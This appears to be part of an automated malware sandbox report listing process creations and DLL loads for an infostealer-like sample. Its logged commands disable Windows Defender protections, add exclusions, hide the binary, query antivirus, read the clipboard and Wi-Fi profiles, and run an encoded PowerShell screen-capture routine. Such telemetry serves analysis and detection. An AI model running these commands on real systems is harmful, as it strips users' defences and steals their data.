Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\Temp\Built.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\gkfhm5n3\gkfhm5n3.cmdline"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDAF6.tmp" "c:\Users\user\AppData\Local\Temp\gkfhm5n3\CSCE3FF6834DD6C4DE392BB63A4482876F5.TMP"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\agentInto\fontsessionruntime.exe "C:\agentInto\fontsessionruntime.exe"
Source: C:\agentInto\fontsessionruntime.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\QIjBj1l8We.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QIjBj1l8We.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\QIjBj1l8We.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\QIjBj1l8We.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QIjBj1l8We.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QIjBj1l8We.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\QIjBj1l8We.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\QIjBj1l8We.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\QIjBj1l8We.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\QIjBj1l8We.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\QIjBj1l8We.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\QIjBj1l8We.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\QIjBj1l8We.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\QIjBj1l8We.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\QIjBj1l8We.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\QIjBj1l8We.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\QIjBj1l8We.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\QIjBj1l8We.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\QIjBj1l8We.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\QIjBj1l8We.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\QIjBj1l8We.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\QIjBj1l8We.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x12.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x12.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x12.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x12.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x12.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x12.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x12.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x12.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x12.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x12.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x12.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x12.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x12.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x12.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x12.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x12.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x12.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x12.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x12.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x12.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x12.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x12.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x11.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x11.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x11.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x11.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x11.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x11.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x11.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x11.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x11.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x11.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x11.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x11.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x11.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x11.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x11.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x11.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x11.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x11.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x11.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x11.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x11.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x11.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Section loaded: netutils.dll	Jump to behavior
